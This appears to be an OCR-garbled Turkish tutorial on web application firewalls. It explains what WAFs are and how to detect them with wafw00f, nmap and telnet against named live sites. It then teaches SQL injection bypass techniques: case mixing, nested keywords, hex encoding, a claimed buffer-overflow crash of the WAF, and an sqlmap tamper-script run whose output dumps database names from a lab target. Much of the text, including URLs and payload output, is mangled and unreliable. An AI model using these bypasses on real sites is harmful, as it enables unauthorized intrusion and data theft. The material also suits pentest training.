WAF Nedir, Nasil Bypass Edilir?
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Firewall yerel agimizla internet, server, uygulama arasindaki trafigi kontrol eden yazilimsal ya da
donanimsal vardir ve genellikle ag sistemlerini korumak igin kullanilan glivenlik sistemleridir.
Disaridan agimiza gelen ve agimizdan disariya giden her paket firewall un kontroliiyle hareket eder.
Bu paketler firewall da ki tanimlanan kurallara gére engellenir ya da paketlerin gegisine izin
verilir(paket filtrelemesi yapar). Bu kurallar gesitli yontemlere gore(ip adresleri,alan adlari,protokoller
(IP,TCP,HTTP,FTP,UDP,ICMP,MTP,SNMP,TELNET) ve portlar) belirlenebilir. Peki firewall’a neden
ihtiyac duyariz. Masum kullanicilar sadece viriis tehdidi altinda degildir. Bilgisayarinizda ki kisisel
verileriniz de bir glvenlik riski olusturur. Firewallar ise size disardan gelen her tirli saldiry1 koruma
imkani saglar.

1.Network Layer Firewall

Bu yazimda sizlere kisaca network katmanl firewalldan bahsedip asil konumuz olan WAF(web
application firewall)’'in nasil bir yapiya sahip oldugunu, nasil ¢alistigini,nasil tespit edildigini,ve bypass
edilme yontemlerini anlatacagim. Network katmanli firewallar TCP/IP stack yiginina gére dusuk bir
level de faaliyet gosteren olusturdugumuz white ya da black listdeki kurallarla eslesmedigi slirece
paket gegislerine izin vermeyen glivenlik duvarlaridir.Birgok kez bir uygulamaya injection yapmaya
cahstigimizda génderdigimiz paketler diisiiyorsa ve server dan geri doniis gelmiyorsa internet
baglantimiz dan da eminsek bliyik ihtimalle agda firewall vardir.

Simdi gelelim WAF’a. WAF, web uygulamalarina yapilan genellikle SQLi gibi saldirilari tespit edip
engellemeye ¢alisan uygulama 6niinde bir ¢esit proxy gorevi goren giivenlik duvarlaridir; ancak
normal firewallare gére http trafigini iyi anlar ve zararli istekleri bloklar. istekler ya da saldirilar
uygulamaya ulasmadan onceki trafigi analiz ettigi icin buraya odaklanir IPs’e da avantaj saglar.
Genelikle client ile web server arasindadir. Simdi WAF nasil galisiyor onu 6grenelim.

At attack detected!
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Data normalization
Decode HTML entities (e.g. 8%99;, &quot;, 85xAA;)
Escaped characters (e.g. it, \001, 'xAA, \WwWAABB)
Null byte string termination

Signature search
lisel}{ect.+fri{om)iis
hitp:iiaerver/?id=11union 1 acleet... funlj{on.+sel){ectyls

http:fiserver/7id="><script>...
hittp:fserver/?id=.I. . Jetc/passwd




2.Web Application Firewall

NEB APPLICATION FIREWALL

= WEE TRAFFIC WEE TRAFFIC
RGN | [t > = ----" > COITE
= I I
|
T T
USER REQUESTS WEE APPLICATION WERB AFPPLICATION
WEE APPLICATION FIREWALL SERVER

[Identifies & blocks
malicious traffic
& requests

WAF, webservera gelen HTTP isteklerini eleyerek calisir.Hem POST hem de GET isteklerini her tirli
ziyaretcinin trafigini inceleyerek uygulanan kurallarca denetler. Website adreslerini ya da URL'leri
siradisi davranislara karsi izler,strpriz bir kullaniciyla karsilasirsa CAPTCHA’ya yénlendir, capcha dogru
bir sekilde isaretledikten sonra isleme devam edilir, yok eger yanlis cevap verirsek bot, robot,
saldirgan olmamiza karsin o anki trafigimizi bloklar. WAF cesitli sekillerde ¢alismakta olup parsing,
decoding(base64) filtreleme gibi yontemlerle faaliyet gosterir.

Simdi WAF'In ne oldugundan ve algilama mekanizmasindan biraz bahsettik, siradaki gérevimiz WAF’|
tespit etmek; tespit isleminden sonra da bypass edip yolumuza devam edecegiz.

Detecting the WAF!

WAF'1n mekanizmasini anlamak icin en iyi yéntemlerden biri de WAF neye karsi uygulamayi
korumaya calisiyor ve tehdidi algiladgi zaman nasil bir tepki veriyor sorularinin cevabini 6grenmek
olucaktir. Regularity ve audit frameworkleri genelde OWASP 10’deki tehdidlere gére kendilerini
korumaya galisirlar; OWASP 10 XSS ve SQLi gibi saldirilari test etmek icin kendince methodlar icerir.
Bazi WAFlar default politikalari sayesinde, email toplayi robotlara, internet wormlarina, icerik
toplayici botlara karsi uygulamalari korumaya calisirlar. Tehdit algilandigi zaman WAF kullaniciya bazi
standard error mesajlari siralayarak “OK” kodlu HTTP cevabini dénecektir. HTTP kodu WAF olup
olmadigini anlayacak kadar akilli degildir.



# telnet foracamp.gr 80

3 01:18:09 GMT

Ek olarak bir firewallun varligini tepit etmek icin stirekli istek gonderirsek ve oturum hizl bir sekilde
sonlaniyorsa burda firewall var demektir;bir sonraki gériinttide oldugu gibi.

skroutz.gr 80

Connected to ‘
scape character 1i: =~ ..
GET / HITP/1.1HTTP/1.0 408 Request Time-out
Control: no-cache

~equest in time.




En cok bilinen tespit araclarindan birisi WAFWOOF tooludur.Kolay ve basit bir sekilde WAF kesfi
yapabilir. Bir sonraki ssde basaril bir sekilde Citrix Netscaler firewallunu tespit ediyoruz.

Application = Kali Linux = Information Gathering - IDS/IPS Identification > wafw00f

root@pentestlab: ‘ it# python wafwOOf.py http://www.poupex.com.br

WAPNOOF - Web Application Firewall Detection Tool
By Sandro Gauci && Wendel G. Henrique

com.br
om.br is behind a Citrix NetScaler

Number of requests:

Nmap de firewall tespit etmek icin script iceren sik kullanilabilen bir aractir. Script parametresiyle
calistirdigimzda web appllication firewallu tespit edebiliyoruz.

| http-waf-det 4
| poupex.com.b ’pdy ipt=alert(document.cookie)-

Nmap done: 1 IP address (1 host up) scanned in 5.7 Is




Eger imperva firewallunu tespit etmis isek ./imperva.sh scriptini calistirarak cesitli testler otomatik
olarak firewall (izeirnde uygulanir.
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WafwO0O0f'in nasil calistigl,kurulumu,algilama yapisinin anlatildigi glizel bir github reposu:
https://github.com/EnableSecurity/wafw00f

Buraya kadar olan kisimda cesitli methodlarla ve toollarla WAF'1 tespit ettik, WAF tespit etmek sizma
testi yaparken ya da bir e-ticaret sitesini hacklerken; bilgi toplama asamasinin 6nemli bir strecidir.



How to bypass WAF!

hedef lizerinde bazi testler uygulayarak baslayalim; nmap kullanarak hedef networku tarayalim; IPs
ile birlikte servisler tizeirnde hangi portlar ¢alistigini(cekici portlarimiz:80,443) waffit ya da imperva-
detect scriptini calistirarak hangi servislerin firewall tarafindan korundugunu tespit ettik.Korumasiz
IPs’e exlploit uygulamak icin bizim icin cok giizel tabi.

Hemen bypass yontemleine gecelim;

Comments

http:

Ancak cogu WAF bu methodu anlayabiliyor; “Forbidden” hatasi veriyor.

*Bir 6nceki methodu komutlarin bazi harflerini kiigiik harfle yazarak deneyelim..

htip:

Ancak bu methodda bazi WAFlar tarafindan yakalanabilir.

*Bir 6nceki methoddaki komutlari kombine edip deneyelim

hitp:

Bu method cogu WAF tarafindan algilanmaz



*Anahtar kelimlerin yerlerini degistirelim

Cogu WAF “UNION SELECT” statementini URL’nin icinde algiladigi an siler; biz bu fonksiyonu exploit
etmek icin kullanalim.

http://www.site.com/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4....
(“union” ve “select” silinecek, sonuc “UNION SELECT” olacak)
Bu method tim firewallarda calismaz, “UNION” VE “SELECT” komutlarini algiladiklari an silerler.

Buraya kadar olan yaptigimiz manuel degisiklikleri “union” ve “select” komutlarini rastgele blyik-
kiictuk harf seklinde diizenleyerek karsi sisteme gonderen tamper isimli klasériinde bypass scripti
bulunduran SQLmap araci vardir.

root@bt : /pentest/database/sqlmap# ./ sqlmap.py -u “"http://1.2.3.4/dvwa/vulnerabilities/sqli/?
id=18amp ; amp ; amp ; amp ; amp ; amp ; amp ; amp ; amp ; Submi t=Submit#" --cookie "security=medium;
PHPSESSID=de9fd298875093226427e5475c47b5eb" --tamper "tamper/randomcase.py” --dbs

Place: GET

Parameter: id

Foamp ; amp ; amp ; amp ; amp ; amp ; amp ; amp ; nbsp; &amp ; amp ; amp ; amp ; amp ; amp ; anp ; amp; nbsp; Type: boolean-based blind
Bamp ; amp ; amp ; amp ; amp ; amp ; amp ;amp ; nbsp;  Ramp ; amp ; amp ; amp ;amp ; omp ;amp ;emp;nbsp; Title: AND boolean-based bl
nd - WHERE or HAVING clouse

Bamp ; amp ; amp ; amp ; amp ; amp ; amp ; amp ; nbsp; &amp ; amp ; amp ; amp ; amp ; amp ; anp; amp; nbsp; Payload: 1d-1 AND 3196-3106&
amp ; amg ; amp S amp ; amp ; amp ;. amp ; amg ; amp ; Submi t=Subnm t

&amp ; amp ; amp ; amp ; amp ; amp ; amp ; amp ; hbsp;  Ramp ; amp ; amp ; amp ; amp ; amp ; anp ; amp; nbsp; Type: error-based

&amp ; amp ; amp ; amp ; amp ; amp ; amp ; amp ; hbsp;  &amp ; amp ; amp ; amp ; amp ; amp ; amp ; amp; nbsp; Title: MySQL &omp; amp ; amp ; am
p;amp;amp;amp;amp;gt;- 3.8 AND error-based - WHERE or HAVING clause

&amp ; amp ; amp ; amp ; amp ; amp ; amp ; amp ; nbsp;  &amp ; amp ; amp ; amp ; amp ; amp ; amp ; amp ; nbsp; Payload: id=1 AND (SELECT 23
85 FROMCSELECT COUNT(*),CONCAT(@x3a72796b3a, (SELECT (CASE WHEN (2385-2385) THEN 1 ELSE @ END)),Bx3abbbe693
a, FLOORCRANDC@)*2))x FROM INFORMATIOM_SCHEMA . CHARACTER_SETS GROUP BY x)a)famp;amp;amp;amp;amp;amp;amp ; ang;
amp ; Submit=-Submit

&amp ; amp ; amp ; amp ; amp ; amp ; amp ; amp ; nbsp; &amp ; amp ; amp ; amp ; amp ; amp ; anp ; amp; nbsp; Type: UNION query

&amp ; amp ; amp ; amp ; amp ; amp ; amp ; amp ; nbsp; &amp ; amp ; amp ; amp ; amp ; amp ; amp ;amp;nbsp; Title: MySQL UNIOM query (NU
LL) - Z columns

&amp ; amp ; amp ; amp ; amp ; amp ; amp ; amp ;nbsp; &amp ; amp ; a
W ALL SELECT COMCAT(@x3a727%6b3a,fxdf670a51626745
mp ; amp ; Subnm t=Submi t

Bamp ; amp ; amp ; amp ; amp ; amp ; amp ; amp ; nbsp; &amp ; amp ; amp ; amp ; amp ; amp ;anp; amp;nbsp; Type: AND/OR time-based blin

mp ; amp ; amp ; anp ; amp;nbsp; Payload: id-1 LIMIT 1,1 UNIO

Pl
75562 , Bx3abbbe633a) , NULL#Eamp ; amp ; amp ; amp ; amp ; amp ; amp ; a

i
6

&amp ; amp ; amp ; amp ; amp ; amp ; amp ; amp ; hbsp; &amp ; amp ; amp ; amp ;amp ; amp ;anp;amp;nbsp; Title: MySQL &amp;amp ; amp ; am
p;amp; amp;amp;amp;gt; 5.9.11 AND time-based blind

&amp ; amp ; amp ; amp ; amp ; amp ; amp ; amp ; hbsp; &amp ; amp ; amp ; amp ; amp ; amp ; amp ; amp; nbsp; Payload: 1d-1 AND SLEEP(S)&a
mp ; amp ; amp ; Gmg ; Gmg ; amg ; amg ; amp ; amp ; Submi t=5ubmit

[16:16:41] [INFO] changes made by tampering scripts are mot included in shown payload content(s)
[16:16:41] [INFO] the back-end DBMS is MySQL

web server operating system: Windows

web application technology: PHP 5.2.6, Apache 2.2.8

back-end DBMS: MySQL 5.@

[16:16:41] [INFO] fetching database names

available databases [7]:

[*] beyazsopka

[*] dvwa

[*] information_schema

[¥] mysqgl

[*] phpmyadmin

[¥] test

[*] yenibir_siparis

[16:16:41] [INFO] fetched data logged to text files under '/pentest/database/sqlmap/outputs192.168.1.127
[*] shutting down at 16:16:41




Simdi biraz daha advance methodlara gecelim.

Cogu firewall C/C++ diliyle gelistirilmistir ve biz firewallu buffer overflow kullanarak crash edebiliriz.

http:

Asagidaki commiti uyguladigimizda WAF’i crash edebiliriz

o
o
=

LA 1 2 32 4

%OA +1,2,3,4_

‘ ?page_id=-null%a4 all

500 cevabini alirsak buffer overflow methoduyla exploit edebilirz.

Siradaki method; hex degerleriyle karakterlerin yerlerini degistirelim

| http:

burdaki 6rnekte “union ve select” komutlarindaki hex(url-encoded) degerleriyle bazi karakterlerin
yerlerini degistirdik.

Karakterlerin hex degerlerini veren bir kaynak: http://www.swingnote.com/tools/texttohex.php

Asagidaki “*” isaretiyle whitespace’nin yerini degitiriyor.

htip:

“uxn

eger firewall isaretini silerse sonuc: 15+union+select... olucak; buna benzer fonksiyonlar bulup

exploit edebiliriz.



